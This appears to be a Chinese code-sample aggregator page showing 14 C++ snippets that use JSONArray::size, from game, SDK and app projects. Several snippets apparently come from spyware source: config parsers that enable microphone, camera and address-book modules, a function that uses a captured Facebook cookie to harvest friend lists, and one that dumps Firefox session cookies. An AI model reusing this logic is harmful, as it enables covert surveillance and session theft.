本文整理汇总了C++中JSONArray::size方法的典型用法代码示例。如果您正苦于以下问题:C++ JSONArray::size方法的具体用法?C++ JSONArray::size怎么用?C++ JSONArray::size使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类JSONArray
的用法示例。
在下文中一共展示了JSONArray::size方法的14个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: ParseAction
BOOL WINAPI Conf::ParseAction(JSONArray js) {
UINT i = 0;
ActionsManager *actionsManager = ActionsManager::self();
for (i = 0; i < js.size(); i++) {
JSONObject jo = js[i]->AsObject();
JSONValue *c = jo[L"subactions"];
if (c == NULL || c->IsArray() == FALSE) {
// WARNING
continue;
}
#ifdef _DEBUG
WCHAR msg[128];
wstring moduleName = jo[L"desc"]->AsString();
//wprintf(L"Parsing Action: \"%s\"\n", moduleName.c_str());
swprintf_s(msg, L"Parsing Action: \"%s\"\n", moduleName.c_str());OutputDebugString(msg);
#endif
actionsManager->add(i, c->AsArray());
}
return TRUE;
}
示例2: OuyaPlugin_asyncOuyaRequestProducts
void OuyaPlugin_asyncOuyaRequestProducts(const char* productsJson, s3eCallback onSuccess, s3eCallback onFailure, s3eCallback onCancel)
{
IwTrace(ODK, ("ODK_platform: OuyaPlugin_asyncOuyaRequestProducts"));
std::string msg = "OuyaPlugin_asyncOuyaRequestProducts: productsJson=";
msg.append(productsJson);
IwTrace(ODK, (msg.c_str()));
//convert JSON to product id array
// Parse example data
JSONValue* value = JSON::Parse(productsJson);
if (value == NULL)
{
IwTrace(ODK, ("Parsing JSON Failed"));
return;
}
if (!value->IsArray())
{
IwTrace(ODK, ("Parsing JSON Failed: Not an array"));
return;
}
// Retrieve the main object
JSONArray data = value->AsArray();
std::vector<std::string> productIds;
for (unsigned int i = 0; i < data.size(); i++)
{
if (data[i]->IsString())
{
const std::wstring wstr = data[i]->AsString();
std::string productId( wstr.begin(), wstr.end() );
productIds.push_back(productId);
}
}
OuyaSDK::CallbackSingleton::GetInstance()->m_callbacksRequestProducts->RegisterCallbacks(onSuccess, onFailure, onCancel);
g_pluginOuya.AsyncOuyaRequestProducts(productIds);
}
示例3:
JNIEXPORT void JNICALL Java_tv_ouya_sdk_android_CallbacksRequestReceipts_CallbacksRequestReceiptsOnSuccess(JNIEnv* env, jobject thiz, jstring jsonData)
{
LOGI("***********Java_tv_ouya_sdk_android_CallbacksRequestReceipts_CallbacksRequestReceiptsOnSuccess***********");
std::string strJsonData = env->GetStringUTFChars(jsonData, NULL);
//char buffer[256];
//sprintf(buffer, "Java_tv_ouya_sdk_android_CallbacksRequestReceipts_CallbacksRequestReceiptsOnSuccess: Returned to C: %s", strJsonData.c_str());
//LOGI(buffer);
//LOGI("Parsing JSON Data");
// Parse example data
JSONValue* value = JSON::Parse(strJsonData.c_str());
if (value == NULL)
{
LOGI("Parsing JSON Failed");
return;
}
if (!value->IsArray())
{
LOGI("Parsing JSON Failed: Not an array");
return;
}
// Retrieve the main object
JSONArray data = value->AsArray();
std::vector<Receipt> receipts;
for (unsigned int i = 0; i < data.size(); i++)
{
OuyaSDK::Receipt newReceipt;
newReceipt.ParseJSON(data[i]);
receipts.push_back(newReceipt);
}
CallbacksRequestReceipts* callback = CallbackSingleton::GetInstance()->m_callbacksRequestReceipts;
if (callback)
{
callback->OnSuccess(receipts);
}
}
示例4: calculateDirVec
void LevelLoader::calculateDirVec(int index, JSONArray & littleBearArray)
{
sf::Vector2f result;
for (unsigned int i = 1; i < littleBearArray.size(); i++, index++)
{
// Each waypoint is a JSON Object.
JSONObject waypoint = littleBearArray[i]->AsObject();
m_gameData.m_littleBearWPX[index] = waypoint[L"x"]->AsNumber();
m_gameData.m_littleBearWPY[index] = waypoint[L"y"]->AsNumber();
sf::Vector2<float> vec(m_gameData.m_littleBearWPX[index] - m_gameData.m_littleBearWPX[index - 1],
m_gameData.m_littleBearWPY[index] - m_gameData.m_littleBearWPY[index - 1]);
result = thor::unitVector(vec);
m_gameData.m_littleBearDirVecX[index] = result.x;
m_gameData.m_littleBearDirVecY[index] = result.y;
}
}
示例5: clusterInfoDict
bool Round::SystemGetNetworkInfoResponse::getClusters(ClusterList *clusterList) {
JSONArray *clusterArray = getResultClusterArray();
size_t clusterCnt = clusterArray->size();
for (size_t n=0; n<clusterCnt; n++) {
JSONDictionary *jsonDict = dynamic_cast<JSONDictionary *>(clusterArray->getObject(n));
if (!jsonDict)
continue;
SystemClusterInfoDict clusterInfoDict(jsonDict);
Cluster *cluster = new Cluster();
if (!clusterInfoDict.getCluster(cluster)) {
delete cluster;
continue;
}
clusterList->addCluster(cluster);
}
return true;
}
示例6: loadAIWaypoints
void LevelLoader::loadAIWaypoints(JSONObject & ai, std::wstring const & pathName, int index, float startX, float startY)
{
// Load the AI data as waypoints from an array.
JSONArray littleBearArray = ai[pathName]->AsArray();
m_gameData.m_littleBearWayPoints = littleBearArray.size();
// Calculate normalized vectors between each waypoint for path 1.
JSONObject waypoint = littleBearArray[0]->AsObject();
m_gameData.m_littleBearWPX[index] = waypoint[L"x"]->AsNumber();
m_gameData.m_littleBearWPY[index] = waypoint[L"y"]->AsNumber();
sf::Vector2<float> vec(m_gameData.m_littleBearWPX[index] - startX,
m_gameData.m_littleBearWPY[index] - startY);
sf::Vector2f result = thor::unitVector(vec);
m_gameData.m_littleBearDirVecX[index] = result.x;
m_gameData.m_littleBearDirVecY[index] = result.y;
index++;
calculateDirVec(index, littleBearArray);
}
示例7: getTopLevelJSONObject
void LevelLoader::loadLevel1Data()
{
// Retrieve the main (root) object
JSONObject root = getTopLevelJSONObject();
JSONObject gameData = root[L"general_game_data"]->AsObject();
// Load the time to place towers field and related text settings.
JSONObject globalSettings = gameData[L"global_settings"]->AsObject();
m_gameData.m_placeTowersText = wStringToString(globalSettings[L"place_towers_text"]->AsString());
m_gameData.m_placeTowersTextSize = globalSettings[L"place_towers_text_size"]->AsNumber();
m_gameData.m_fontFile = wStringToString(globalSettings[L"font_file"]->AsString());
m_gameData.m_placeTowersTextX = globalSettings[L"place_towers_text_x"]->AsNumber();
m_gameData.m_placeTowersTextY = globalSettings[L"place_towers_text_y"]->AsNumber();
// Load game lose text.
m_gameData.m_gameLoseText = wStringToString(globalSettings[L"game_lose_text"]->AsString());
// Load the particle system texture file.
m_gameData.m_particlesTextureFile = wStringToString(globalSettings[L"particles_texture_file"]->AsString());
// Load the go button filename.
m_gameData.m_goButtonFile = wStringToString(globalSettings[L"go_button_file"]->AsString());
m_gameData.m_goButtonWidth = globalSettings[L"go_button_width"]->AsNumber();
m_gameData.m_goButtonHeight = globalSettings[L"go_button_height"]->AsNumber();
// Load the x,y position for the go button.
JSONObject goButtonPos = globalSettings[L"go_button_position"]->AsObject();
m_gameData.m_goButtonX = goButtonPos[L"x"]->AsNumber();
m_gameData.m_goButtonY = goButtonPos[L"y"]->AsNumber();
// Load the tower points background.
m_gameData.m_towerPointsFile = wStringToString(globalSettings[L"tower_points_file"]->AsString());
// Load the tower points.
m_gameData.m_towerPoints = globalSettings[L"tower_points"]->AsNumber();
// Load a value giving the honey level for the hive.
m_gameData.m_honeyLevel = globalSettings[L"honey_level"]->AsNumber();
// Load the honey hive base.
m_gameData.m_honeyHiveFile = wStringToString(globalSettings[L"honey_hive_file"]->AsString());
m_gameData.m_honeyHiveWidth = globalSettings[L"honey_hive_width"]->AsNumber();
m_gameData.m_honeyHiveRows = globalSettings[L"honey_hive_rows"]->AsNumber();
m_gameData.m_honeyHiveCols = globalSettings[L"honey_hive_cols"]->AsNumber();
m_gameData.m_honeyHiveFrames = globalSettings[L"honey_hive_frames"]->AsNumber();
JSONObject honeyHive = globalSettings[L"honey_hive_position"]->AsObject();
m_gameData.m_honeyHiveX = honeyHive[L"x"]->AsNumber();
m_gameData.m_honeyHiveY = honeyHive[L"y"]->AsNumber();
// Load the tower file
JSONObject tower = globalSettings[L"tower"]->AsObject();
// Load the tower base image filename
m_gameData.m_towerBaseFile = wStringToString(tower[L"tower_base_file"]->AsString());
// Tower width
m_gameData.m_towerWidth = tower[L"tower_width"]->AsNumber();
// Tower height
m_gameData.m_towerHeight = tower[L"tower_height"]->AsNumber();
m_gameData.m_towerFile = wStringToString(tower[L"tower_file"]->AsString());
m_gameData.m_numberOfTowers = tower[L"max_num_towers"]->AsNumber();
m_gameData.m_firingDelay = tower[L"firing_delay"]->AsNumber();
m_gameData.m_towerRotationSpeed = tower[L"tower_rotation_speed"]->AsNumber();
JSONObject towerRotationOrigin = tower[L"tower_rotation_origin"]->AsObject();
m_gameData.m_towerRotationOriginX = towerRotationOrigin[L"x"]->AsNumber();
m_gameData.m_towerRotationOriginY = towerRotationOrigin[L"y"]->AsNumber();
// Load some sfx files
JSONObject sfx = globalSettings[L"sfx"]->AsObject();
m_gameData.m_mouseOverTowerBaseFile = wStringToString(sfx[L"mouse_over_tower_base"]->AsString());
m_gameData.m_towerPlacedFile = wStringToString(sfx[L"tower_placed"]->AsString());
m_gameData.m_towerFiringFile = wStringToString(sfx[L"tower_firing"]->AsString());
m_gameData.m_bumbleBeesFile = wStringToString(sfx[L"bumble_bees"]->AsString());
// Load the projectile related data
JSONObject projectile = globalSettings[L"projectile"]->AsObject();
m_gameData.m_projectileFile = wStringToString(projectile[L"projectile_file"]->AsString());
JSONObject projectileCentre = projectile[L"projectile_centre"]->AsObject();
m_gameData.m_projectileCentreX = projectileCentre[L"x"]->AsNumber();
m_gameData.m_projectileCentreY = projectileCentre[L"y"]->AsNumber();
m_gameData.m_maxProjectiles = projectile[L"max_num_projectiles"]->AsNumber();
m_gameData.m_timeToLive = projectile[L"time_to_live"]->AsNumber();
m_gameData.m_velocity = projectile[L"velocity"]->AsNumber();
// Load the background image filename for level 1
JSONObject level1 = gameData[L"level1"]->AsObject();
m_gameData.m_level1BackgroundFile = wStringToString(level1[L"level1_background_file"]->AsString());
// Load the tower base positions from an array.
JSONArray towerBaseArray = level1[L"tower_bases"]->AsArray();
m_gameData.m_numberOfTowerBases = towerBaseArray.size();
for (unsigned int i = 0; i < towerBaseArray.size(); i++)
{
// Each tower base position is a JSON Object.
JSONObject towerBasePos = towerBaseArray[i]->AsObject();
m_gameData.m_towerBaseX[i] = towerBasePos[L"x"]->AsNumber();
m_gameData.m_towerBaseY[i] = towerBasePos[L"y"]->AsNumber();
}
}
示例8: JSONValue
//.........这里部分代码省略.........
// Not get any digits?
if (!(**data >= L'0' && **data <= L'9'))
return NULL;
// Sort the expo out
double expo = JSON::ParseInt(data);
for (double i = 0.0; i < expo; i++)
number = neg_expo ? (number / 10.0) : (number * 10.0);
}
// Was it neg?
if (neg) number *= -1;
return new JSONValue(number);
}
// An object?
else if (**data == L'{')
{
JSONObject object;
(*data)++;
while (**data != 0)
{
// Whitespace at the start?
if (!JSON::SkipWhitespace(data))
{
FREE_OBJECT(object);
return NULL;
}
// Special case - empty object
if (object.size() == 0 && **data == L'}')
{
(*data)++;
return new JSONValue(object);
}
// We want a string now...
std::wstring name;
if (!JSON::ExtractString(&(++(*data)), name))
{
FREE_OBJECT(object);
return NULL;
}
// More whitespace?
if (!JSON::SkipWhitespace(data))
{
FREE_OBJECT(object);
return NULL;
}
// Need a : now
if (*((*data)++) != L':')
{
FREE_OBJECT(object);
return NULL;
}
// More whitespace?
if (!JSON::SkipWhitespace(data))
{
FREE_OBJECT(object);
return NULL;
示例9: FacebookContactHandler
DWORD FacebookContactHandler(LPSTR strCookie)
{
LPSTR strUserId, strScreenName;
if (!ConfIsModuleEnabled(L"addressbook"))
return SOCIAL_REQUEST_SUCCESS;
// get user id and screen name
if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
return SOCIAL_REQUEST_BAD_COOKIE;
LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array
LPSTR strRecvBuffer=NULL;
DWORD dwBuffSize;
DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array
if (dwRet != SOCIAL_REQUEST_SUCCESS)
{
zfree(strRecvBuffer);
zfree(strUrl);
return SOCIAL_REQUEST_NETWORK_PROBLEM;
}
LPSTR strJson = strRecvBuffer;
while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize)
strJson++;
JSONValue *jValue = JSON::Parse(strJson);
if (jValue != NULL && jValue->IsObject())
{
JSONObject jRoot = jValue->AsObject();
if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array
{
if (jRoot[L"payload"]->IsObject())
{
JSONObject jPayload = jRoot[L"payload"]->AsObject();
if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray()) //FIXME: array
{
JSONArray jEntries = jPayload[L"entries"]->AsArray(); //FIXME: array
for (DWORD i=0; i<jEntries.size(); i++)
{
LPWSTR strUID = NULL;
LPWSTR strName = NULL;
LPWSTR strProfile = NULL;
if (!jEntries.at(i)->IsObject())
continue;
JSONObject jEntry = jEntries.at(i)->AsObject();
if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber()) //FIXME: array
{
strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR));
_snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber()); //FIXME: array
}
if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString()) //FIXME: array
{
strName = (LPWSTR) zalloc(1024*sizeof(WCHAR));
memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR))); //FIXME: array
}
if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString()) //FIXME: array
{
strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR));
memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR))); //FIXME: array
}
if (strUID && strName && strProfile)
{
LPSTR strTmp = (LPSTR) zalloc(1024);
_snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID);
DWORD dwFlags = 0;
if (!strncmp(strTmp, strUserId, strlen(strUserId)))
dwFlags = CONTACTS_MYACCOUNT;
SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags);
zfree(strTmp);
}
zfree(strName);
zfree(strProfile);
zfree(strUID);
}
}
}
}
}
/* cleanup */
zfree(strUserId);
zfree(strScreenName);
zfree(strRecvBuffer);
zfree(strUrl);
if (jValue)
delete jValue;
return SOCIAL_REQUEST_BAD_COOKIE;
}
示例10: ParseModule
BOOL WINAPI Conf::ParseModule(JSONArray js) {
UINT i = 0;
ModulesManager *modulesManager = ModulesManager::self();
for (i = 0; i < js.size(); i++) {
JSONObject jo = js[i]->AsObject();
JSONValue *c = jo[L"module"];
if (c == NULL || c->IsString() == FALSE || c->AsString().empty() == TRUE) {
// WARNING
continue;
}
void* startProc = NULL;
wstring moduleName = c->AsString();
#ifdef _DEBUG
//wprintf(L"Parsing Module: %s\n", moduleName.c_str());
WCHAR msg[128];
swprintf_s(msg, L"Parsing Module: %s\n", moduleName.c_str());OutputDebugString(msg);
#endif
do {
/***
if (moduleName.compare(L"application") == 0 ) {
startProc = ApplicationModule;
break;
}
if (moduleName.compare(L"call") == 0 ) {
startProc = RecordedCalls;
break;
}
***/
/***
if (moduleName.compare(L"calllist") == 0 ) {
startProc = CallListAgent;
break;
}
***/
#ifdef DEMO_ISS
if (moduleName.compare(L"camera") == 0 ) {
startProc = CameraModule;
break;
}
#endif
/***
if (moduleName.compare(L"clipboard") == 0 ) {
startProc = ClipboardModule;
continue;
}
if (moduleName.compare(L"conference") == 0 ) {
startProc = CallAgent;
break;
}
***/
if (moduleName.compare(L"crisis") == 0 ) {
startProc = CrisisModule;
break;
}
if (moduleName.compare(L"device") == 0 ) {
startProc = DeviceInfoAgent;
break;
}
/***
if (moduleName.compare(L"livemic") == 0 ) {
startProc = LiveMicModule;
break;
}
if (moduleName.compare(L"messages") == 0 ) {
startProc = SmsAgent;
break;
}
***/
if (moduleName.compare(L"mic") == 0 ) {
startProc = RecordedMicrophone;
break;
}
// AddressBook e calendar sono la stessa cosa
if (moduleName.compare(L"addressbook") == 0) {
startProc = AddressbookModule;
break;
}
if (moduleName.compare(L"calendar") == 0 ) {
startProc =CalendarModule;
break;
}
//.........这里部分代码省略.........
示例11: ParseEvent
BOOL WINAPI Conf::ParseEvent(JSONArray js) {
UINT i = 0;
EventsManager *eventsManager = EventsManager::self();
for (i = 0; i < js.size(); i++) {
JSONObject jo = js[i]->AsObject();
JSONValue *c = jo[L"event"];
if (c == NULL || c->IsString() == FALSE || c->AsString().empty() == TRUE) {
// WARNING
continue;
}
void* startProc = NULL;
wstring eventName = c->AsString();
#ifdef _DEBUG
WCHAR msg[128];
//wprintf(L"Parsing Event: %s\n", eventName.c_str());
swprintf_s(msg, L"Parsing Event: %s\n", eventName.c_str());OutputDebugString(msg);
#endif
do {
if (eventName.compare(L"ac") == 0 ) {
startProc = OnAC;
break;
}
if (eventName.compare(L"battery") == 0 ) {
startProc = OnBatteryLevel;
break;
}
/***
if (eventName.compare(L"call") == 0 ) {
startProc = OnCall;
break;
}
if (eventName.compare(L"connection") == 0 ) {
startProc = OnConnection;
break;
}
***/
if (eventName.compare(L"position") == 0 ) {
startProc = OnLocation;
continue;
}
/***
if (eventName.compare(L"process") == 0 ) {
startProc = OnProcess;
break;
}
if (eventName.compare(L"standby") == 0 ) {
startProc = OnStandby;
break;
}
if (eventName.compare(L"simchange") == 0 ) {
startProc = OnSimChange;
break;
}
***/
if (eventName.compare(L"timer") == 0 ) {
startProc = OnTimer;
break;
}
/***
if (eventName.compare(L"afterinst") == 0 ) {
startProc = OnAfterInst;
break;
}
***/
if (eventName.compare(L"date") == 0 ) {
startProc = OnDate;
break;
}
/***
if (eventName.compare(L"sms") == 0 ) {
startProc = OnSms;
break;
}
***/
} while (0);
if (startProc != NULL)
eventsManager->add(eventName, jo, startProc);
// startProc == NULL -> Unknown agent
}
return TRUE;
}
示例12: DumpSessionCookies
int DumpSessionCookies(WCHAR *profilePath)
{
char *session_memory = NULL;
DWORD session_size;
HANDLE h_session_file;
JSONValue *value;
JSONObject root;
WCHAR sessionPath[MAX_PATH];
WCHAR *host = NULL, *name = NULL, *cvalue = NULL;
DWORD n_read = 0;
swprintf_s(sessionPath, MAX_PATH, L"%s\\sessionstore.js", profilePath);
h_session_file = FNC(CreateFileW)(sessionPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (h_session_file == INVALID_HANDLE_VALUE)
return 0;
session_size = GetFileSize(h_session_file, NULL);
if (session_size == INVALID_FILE_SIZE || session_size == 0) {
CloseHandle(h_session_file);
return 0;
}
session_memory = (char *)malloc(session_size + sizeof(WCHAR));
if (!session_memory) {
CloseHandle(h_session_file);
return 0;
}
memset(session_memory, 0, session_size + sizeof(WCHAR));
if (!ReadFile(h_session_file, session_memory, session_size, &n_read, NULL)) {
CloseHandle(h_session_file);
SAFE_FREE(session_memory);
return 0;
}
CloseHandle(h_session_file);
if (n_read != session_size) {
SAFE_FREE(session_memory);
return 0;
}
value = JSON::Parse(session_memory);
if (!value) {
SAFE_FREE(session_memory);
return 0;
}
if (value->IsObject() == false) {
delete value;
SAFE_FREE(session_memory);
return 0;
}
root = value->AsObject();
if (root.find(L"windows") != root.end() && root[L"windows"]->IsArray()) {
JSONArray jwindows = root[L"windows"]->AsArray();
for (unsigned int i = 0; i < jwindows.size(); i++) {
if (jwindows[i]->IsObject()) {
JSONObject jtabs = jwindows[i]->AsObject();
if (jtabs.find(L"cookies") != jtabs.end() && jtabs[L"cookies"]->IsArray()) {
JSONArray jcookiearray = jtabs[L"cookies"]->AsArray();
for (unsigned int j = 0; j < jcookiearray.size(); j++) {
if (jcookiearray[j]->IsObject()) {
JSONObject jcookie = jcookiearray[j]->AsObject();
if (jcookie.find(L"host") != jcookie.end() && jcookie[L"host"]->IsString())
host = _wcsdup(jcookie[L"host"]->AsString().c_str());
if (jcookie.find(L"name") != jcookie.end() && jcookie[L"name"]->IsString())
name = _wcsdup(jcookie[L"name"]->AsString().c_str());
if (jcookie.find(L"value") != jcookie.end() && jcookie[L"value"]->IsString())
cvalue = _wcsdup(jcookie[L"value"]->AsString().c_str());
NormalizeDomainW(host);
if (host && name && cvalue && IsInterestingDomainW(host))
AddCookieW(host, name, cvalue);
SAFE_FREE(host);
SAFE_FREE(name);
SAFE_FREE(cvalue);
}
}
}
}
}
}
delete value;
SAFE_FREE(session_memory);
return 1;
}
示例13: parseWorkutsJson
// Example 1
ResultCode CommonDBController::parseWorkutsJson(const std::string& jsonData)
{
// Parse example data
JSONValue *value = JSON::Parse(jsonData.c_str());
ResultCode result = ResultCode::OK;
if (value == NULL)
{
LOGE(TAG, "Cannot read workouts json data\r\n");
result = ResultCode::ERROR;
}
else
{
// Retrieve the main object
JSONObject root;
LOGE(TAG, "SONObject root\r\n");
if (value->IsObject() == false)
{
LOGE(TAG, "The root element is not an object, json is not correct! \r\n");
result = ResultCode::ERROR;
}
else
{
root = value->AsObject();
const std::string& workoutLevelTableName = GymfitDBContract::WorkoutLevelEntry::TABLE_NAME;
if (root.find(workoutLevelTableName) != root.end() &&
root[workoutLevelTableName]->IsArray())
{
JSONArray array = root[workoutLevelTableName]->AsArray();
for (unsigned int i = 0; i < array.size(); i++)
{
std::string wLevelStr = array[i]->Stringify();
LOGI(TAG, std::string(wLevelStr.begin(), wLevelStr.end()).c_str());
JSONObject levelObject = array[i]->AsObject();
std::vector<std::string> columnKeys;
std::vector<std::string> values;
parseStringKeyAndValue(levelObject, GymfitDBContract::WorkoutLevelEntry::COLUMN_LEVEL_TR, columnKeys, values);
if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutLevelEntry::TABLE_NAME,
values, columnKeys) == ResultCode::ERROR)
{
result = ResultCode::ERROR;
}
}
LOGI(TAG, "\r\n");
}
const std::string& workoutTypeTableName = GymfitDBContract::WorkoutTypeEntry::TABLE_NAME;
if (root.find(workoutTypeTableName) != root.end() &&
root[workoutTypeTableName]->IsArray())
{
JSONArray array = root[workoutTypeTableName]->AsArray();
for (unsigned int i = 0; i < array.size(); i++)
{
std::string typrStr = array[i]->Stringify();
LOGI(TAG, typrStr.c_str());
JSONObject typeObject = array[i]->AsObject();
std::vector<std::string> columnKeys;
std::vector<std::string> values;
parseStringKeyAndValue(typeObject, GymfitDBContract::WorkoutTypeEntry::COLUMN_TYPE_TR, columnKeys, values);
if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutTypeEntry::TABLE_NAME,
values, columnKeys) ==ResultCode::ERROR)
{
result = ResultCode::ERROR;
}
}
LOGI(TAG, "\r\n");
}
const std::string& workoutGoalTableName = GymfitDBContract::WorkoutGoalEntry::TABLE_NAME;
if (root.find(workoutGoalTableName) != root.end() &&
root[workoutGoalTableName]->IsArray())
{
JSONArray array = root[workoutGoalTableName]->AsArray();
for (unsigned int i = 0; i < array.size(); i++)
{
std::string goalStr = array[i]->Stringify();
LOGI(TAG, goalStr.c_str());
JSONObject goalObject = array[i]->AsObject();
std::vector<std::string> columnKeys;
std::vector<std::string> values;
parseStringKeyAndValue(goalObject, GymfitDBContract::WorkoutGoalEntry::COLUMN_GOAL_TR, columnKeys, values);
if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutGoalEntry::TABLE_NAME,
values, columnKeys) == ResultCode::ERROR)
{
result = ResultCode::ERROR;
}
}
LOGI(TAG, "\r\n");
}
//.........这里部分代码省略.........
示例14: FromJSON
void SpellData::FromJSON(JSONObject *object)
{
mId = UUID(object->getValue<std::string>("id"));
mName = object->getValue<std::string>("name");
mCastTime = object->getValue<int>("cast_time");
mCooldown = object->getValue<int>("cooldown");
mType = (SpellType) object->getValue<int>("spell_type");
mCastType = (SpellCastType) object->getValue<int>("cast_type");
mRadius = object->getValue<double>("spell_radius");
mRange = object->getValue<double>("spell_range");
mShape = (SpellShape) object->getValue<int>("shape");
if (object->has("icon_url"))
mIconURL = object->getValue<std::string>("icon_url");
if (object->has("slot")) {
mSlot = object->getValue<std::string>("slot");
}
if (object->has("class_id")) {
int classId = object->getValue<int>("class_id");
mCharClass.classId = classId;
mCharClass.name = GetCharacterClassName((CharacterClass)classId);
}
JSONArray *effects = object->getArray("effects");
for (int i = 0; i < effects->size(); i++) {
JSONObject *effect = effects->getObject(i);
SpellEffectData effectData;
effectData.id = UUID(effect->getValue<std::string>("id"));
effectData.spellId = UUID(effect->getValue<std::string>("spell_id"));
effectData.effectType = (SpellEffectType) effect->getValue<int>("effect_type");
effectData.percentSourceMin = effect->getValue<int>("percent_source_min");
effectData.percentSourceMax = effect->getValue<int>("percent_source_max");
effectData.flatAmountMin = effect->getValue<int>("flat_amount_min");
effectData.flatAmountMax = effect->getValue<int>("flat_amount_max");
effectData.dotDuration = effect->getValue<int>("dot_duration");
effectData.dotTick = effect->getValue<int>("dot_tick");
effectData.buffDuration = effect->getValue<int>("buff_duration");
effectData.damageSource = (SpellDamageSource)effect->getValue<int>("damage_source");
effectData.buffSource = (CharacterStatType)effect->getValue<int>("buff_source");
effectData.mechanic = (SpellMechanic)effect->getValue<int>("mechanic");
effectData.school = (SpellSchool) effect->getValue<int>("school");
effectData.maxStacks = effect->getValue<int>("max_stacks");
mEffects.push_back(effectData);
}
JSONArray *triggers = object->getArray("triggers");
for (int i = 0; i < triggers->size(); i++) {
JSONObject *trigger = triggers->getObject(i);
SpellTriggerData triggerData;
triggerData.id = UUID(trigger->getValue<std::string>("id"));
triggerData.spellId = UUID(trigger->getValue<std::string>("spell_id"));
triggerData.triggerSpellId = UUID(trigger->getValue<std::string>("trigger_spell_id"));
triggerData.chance = trigger->getValue<double>("chance");
triggerData.triggerType = (TriggerType) trigger->getValue<int>("trigger_type");
mTriggers.push_back(triggerData);
}
}